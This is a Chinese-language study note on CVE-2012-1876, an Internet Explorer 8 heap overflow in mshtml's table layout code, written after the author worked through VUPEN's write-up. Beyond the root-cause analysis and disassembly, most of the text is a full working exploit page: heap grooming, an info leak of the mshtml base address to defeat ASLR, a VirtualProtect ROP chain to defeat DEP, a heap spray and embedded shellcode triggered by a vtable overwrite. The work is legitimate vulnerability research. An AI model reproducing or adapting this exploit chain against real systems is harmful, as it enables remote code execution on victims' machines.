本文是筆者研讀 VUPEN-Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876 後,自行調試並整理的學習筆記。
實驗環境:
- Windows 7 SP1 EN
- IE 8.0.7601.17514
1. 漏洞原因分析
<html>
<body>
<table style="table-layout:fixed">
<col id="132" width="41" span="1">  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();", 1);
</script>
</body>
</html>
漏洞代碼主要位於 mshtml!CTableLayout::CalculateMinMax。
mshtml!CTableLayout::CalculateMinMax 共會被調用兩次:第一次是在頁面初始化的時候,第二次則是在我們利用 Javascript 修改元素屬性的時候。
;In function CTableLayout::CalculateMinMax() - mshtml.dll (IE8)
8b8394000000 mov eax,dword ptr [ebx+94h] ; eax = 0
c1e802 shr eax,2
3bc2 cmp eax,edx
7d39 jge mshtml!CTableLayout::CalculateMinMax+0x223 (6d73a21f)
3bd7 cmp edx,edi
8db390000000 lea esi,[ebx+90h] ----------------------------------------
0f8c8632f0ff jl mshtml!CTableLayout::CalculateMinMax+0x203 (6d63d47a) |
3b5608 cmp edx,dword ptr [esi+8] |
7613 jbe mshtml!CTableLayout::CalculateMinMax+0x210 (6d73a20c) |
6a1c push 1Ch |
8bc2 mov eax,edx ; edx == span value |
8bfe mov edi,esi |
e89a920c00 call mshtml!CImplAry::EnsureSizeWorker (6d80349e) |
85c0 test eax,eax |
0f85ac020000 jne mshtml!CTableLayout::CalculateMinMax+0xdf1 (6e1ba4b8) |
8b4604 mov eax,dword ptr [esi+4] ; esi == ebx+90h <------------|
8b4d08 mov ecx,dword ptr [ebp+8] ; span value
83e003 and eax,3
c1e102 shl ecx,2
0bc1 or eax,ecx
894604 mov dword ptr [esi+4],eax
當 mshtml!CTableLayout::CalculateMinMax 第一次被調用時,會遇到上述的條件判斷。其中 edx 是我們設定的 span 值(即 9)。
mov eax, dword ptr [ebx+94h]:若是第一次調用,[ebx+94h] 會等於 0。因此在執行 cmp eax, edx 後,程式流程將繼續執行至 call EnsureSizeWorker。
EnsureSizeWorker 函式會依據傳入的 span 值分配記憶體。如果 span value < 4,則會分配至少 4 * 1c 大小的記憶體;
否則,會分配 span value * 1c 大小的記憶體。並且在 EnsureSizeWorker 回傳 0 後,將原本的 [ebx+94h] 改寫為 span value << 2。
因此,當 mshtml!CTableLayout::CalculateMinMax 第二次被調用時(也就是我們利用 Javascript 修改 Col 屬性時),不會再次調用 EnsureSizeWorker 重新分配 Buffer。
隨後,當 mshtml!CTableLayout::CalculateMinMax 再次調用 mshtml!CTableColCalc::AdjustForCol 時,會將 span 值作為迴圈計數器。此時,因為 1000 * 0x1c > 4 * 0x1c,導致堆積溢位 (Heap Overflow)。
2. 漏洞利用分析
VUPEN 的文章中,利用修改字串長度的方式讀取 CButton 的虛擬函式表 (Virtual Table) 以繞過 ASLR,並洩漏 mshtml 的基底位址 (Base Address) 來建構 ROP 鏈以繞過 DEP。
首先,在記憶體中構造如下的佈局:
/*
| Freedblock | BSTR | BSTR | CButtonLayout |.....
0x100 0x100 0x100 0x100
*/
var div_container = document.getElementById("divc");
var junk = unescape("%u4141%u4141");
var junk2 = unescape("%u4242%u4242");
var junk3 = unescape("%u4343%u4343");
while (junk.length < 0x100) {
junk += junk;
}
while (junk2.length < 0x100) {
junk2 += junk2;
}
while (junk3.length < 0x100) {
junk3 += junk3;
}
var fr = new Array();
var al = new Array();
var bl = new Array();
for (var i = 0; i < 500; i += 2) {
fr[i] = junk3.substring(0, (0x100 - 6) / 2);
al[i] = junk.substring(0, (0x100 - 6) / 2);
bl[i] = junk2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage();
}
因為我們一開始設定的 span 值是 9,所以會分配 9 * 1c = 0xfc 大小的記憶體;基於對齊原則,實際會分配 0x100。
因此,如果構造足夠多的 FreedBlock,就有機會讓依據 span 值分配的 Buffer 落入我們準備的 FreedBlock 中。
接著,利用 Javascript 修改 span 值,使迴圈次數足以覆蓋並改變我們字串的長度 (length) 屬性。接著尋找哪個字串被修改了,藉此讀取 mshtml 的 Base Address。
function leak() {
var obj_col = document.getElementById("132");
obj_col.width = "41";
obj_col.span = "19";
}
function get_leak() {
for (var a = 200; a < 500; a += 2) {
if (bl[a].length > (0x100 - 6) / 2) {
var leak = bl[a].substring(
(0x100 - 6) / 2 + (2 + 8) / 2,
(0x100 - 6) / 2 + (2 + 8 + 4) / 2
);
var leak_addr = leak.charCodeAt(1) * 0x10000 + leak.charCodeAt(0);
var mshtml_base = leak_addr - 0x1584f8;
}
}
}
最後,利用洩漏的 Base Address 建構 ROP,並透過 Heap Spray 將 Shellcode 佈署至可預測的記憶體位址。接著再次修改 span 值以覆蓋虛擬函式表,進而觸發 Shellcode。
<html>
<body>
<div id="divc"></div>
<script>
var div_container = document.getElementById("divc");
var junk = unescape("%u4141%u4141");
var junk2 = unescape("%u4242%u4242");
var junk3 = unescape("%u4343%u4343");
while (junk.length < 0x100) {
junk += junk;
}
while (junk2.length < 0x100) {
junk2 += junk2;
}
while (junk3.length < 0x100) {
junk3 += junk3;
}
var fr = new Array();
var al = new Array();
var bl = new Array();
for (var i = 0; i < 500; i += 2) {
fr[i] = junk3.substring(0, (0x100 - 6) / 2);
al[i] = junk.substring(0, (0x100 - 6) / 2);
bl[i] = junk2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed">
<col id="132" width="41" span="9">  </col>
</table>
<script>
function leak() {
var obj_col = document.getElementById("132");
obj_col.width = "41";
obj_col.span = "19";
}
function trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "1178993"; //0x07070024
obj_col.span = "34";
}
function get_leak() {
for (var a = 200; a < 500; a += 2) {
if (bl[a].length > (0x100 - 6) / 2) {
var leak = bl[a].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
var leak_addr = leak.charCodeAt(1) * 0x10000 + leak.charCodeAt(0);
var mshtml_base = leak_addr - 0x1584f8;
//alert(mshtml_base.toString(16));
setTimeout(function() {
heap_spary(mshtml_base)
}, 100);
}
}
}
function heap_spary(mshtml_base) {
CollectGarbage();
function get_offset(base, old_offset) {
var offset = old_offset - 0x70660000;
var ret = base + offset;
var str_ret = ret.toString(16);
return "%u" + str_ret.substring(4, 8) + "%u" + str_ret.substring(0, 4);
}
function alloc(bytes, str) {
while (str.length < bytes) str += str;
return str.substr(0, (bytes - 6) / 2); // header-size + terminator = 6
}
block_size = 0x1000; // 4096-bytes
NopSlide = '';
var bomb = unescape(get_offset(mshtml_base, 0x70799b90)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
bomb = bomb + unescape("%u4242%u4242"); // 4
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180b)); // # XCHG EAX,ESP # RETN 4
bomb = bomb + unescape("%u4242%u4242%u4040%u4040%u4040%u4040%u4040%u4040"); // 16
bomb = bomb + unescape(get_offset(mshtml_base, 0x70799b90));
bomb = bomb + unescape("%u4242%u4242");
for (var b = 0; b < 4; b++) { // 32
bomb = bomb + unescape("%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242"); // 24
bomb = bomb + unescape(get_offset(mshtml_base, 0x70799b90)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
bomb = bomb + unescape("%u4242%u4242");
}
bomb = bomb + unescape("%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242%u4242"); // 24
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c)); // # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
bomb = bomb + unescape("%u4242%u4242");
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
bomb = bomb + unescape(get_offset(mshtml_base, 0x709b180c));
bomb = bomb + unescape(get_offset(mshtml_base, 0x70765859));
//0x706643fa # ADD ESP,0C # POP EBP # RETN 0x04 total 20
//0x70799b90 # ADD ESP,0C # XOR EAX,EAX # POP EDI # POP ESI # POP EBP # RETN 0x04 total 28
/* mshtml.dll base = 0x70660000
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u5859%u7076" + // 0x70765859 : ,# POP EBP # RETN [mshtml.dll]
"%u5859%u7076" + // 0x70765859 : ,# skip 4 bytes [mshtml.dll]
"%uc53b%u706e" + // 0x706ec53b : ,# POP EBX # RETN [mshtml.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%uf126%u70a7" + // 0x70a7f126 : ,# POP EDX # RETN [mshtml.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%ucfe8%u707b" + // 0x707bcfe8 : ,# POP ECX # RETN [mshtml.dll]
"%uad37%u70b9" + // 0x70b9ad37 : ,# &Writable location [mshtml.dll]
"%ua1cc%u707d" + // 0x707da1cc : ,# POP EDI # RETN [mshtml.dll]
"%u38e2%u707e" + // 0x707e38e2 : ,# RETN (ROP NOP) [mshtml.dll]
"%ub470%u7073" + // 0x7073b470 : ,# POP ESI # RETN [mshtml.dll]
"%uc0a3%u7066" + // 0x7066c0a3 : ,# JMP [EAX] [mshtml.dll]
"%u0f2a%u707c" + // 0x707c0f2a : ,# POP EAX # RETN [mshtml.dll]
"%u1348%u7066" + // 0x70661348 : ,# ptr to &VirtualProtect() [IAT mshtml.dll]
"%ua2c8%u70b7" + // 0x70b7a2c8 : ,# PUSHAD # RETN [mshtml.dll]
"%u0b54%u706b" + // 0x706b0b54 : ,# ptr to 'jmp esp' [mshtml.dll]
""); // :
*/
var rop = unescape(get_offset(mshtml_base, 0x709b180b)); // # XCHG EAX,ESP # RETN
rop = rop + unescape(get_offset(mshtml_base, 0x70765859));
rop = rop + unescape(get_offset(mshtml_base, 0x70765859));
rop = rop + unescape(get_offset(mshtml_base, 0x706ec53b));
rop = rop + unescape("%u0201%u0000");
rop = rop + unescape(get_offset(mshtml_base, 0x70a7f126));
rop = rop + unescape("%u0040%u0000");
rop = rop + unescape(get_offset(mshtml_base, 0x707bcfe8));
rop = rop + unescape(get_offset(mshtml_base, 0x70b9ad37));
rop = rop + unescape(get_offset(mshtml_base, 0x707da1cc));
rop = rop + unescape(get_offset(mshtml_base, 0x707e38e2));
rop = rop + unescape(get_offset(mshtml_base, 0x7073b470));
rop = rop + unescape(get_offset(mshtml_base, 0x7066c0a3));
rop = rop + unescape(get_offset(mshtml_base, 0x707c0f2a));
rop = rop + unescape(get_offset(mshtml_base, 0x70661348));
rop = rop + unescape(get_offset(mshtml_base, 0x70b7a2c8));
rop = rop + unescape(get_offset(mshtml_base, 0x706b0b54));
rop = rop + unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
"%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
"%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
"%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
"%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
"%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
"%ud5ff%u6163%u636c%u652e%u6578%u4100");
for (var c = 0; c < block_size; c++) {
NopSlide += unescape('%u9090');
}
NopSlide = NopSlide.substring(0, block_size - (rop.length + bomb.length));
var OBJECT = bomb + rop + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
}
setTimeout("leak();", 400);
setTimeout("get_leak();", 500);
setTimeout("trigger();", 700);
</script>
</body>
</html>

參考資料:
- https://www.exploit-db.com/exploits/24017/
- http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php
- https://raw.githubusercontent.com/k33nteam/IE9-IE11-Vulnerability-Advanced-Exploitation/master/CVE-2012-1876%20Exploitation%20Demo%20Code
- http://www.blogbus.com/riusksk-logs/234514384.html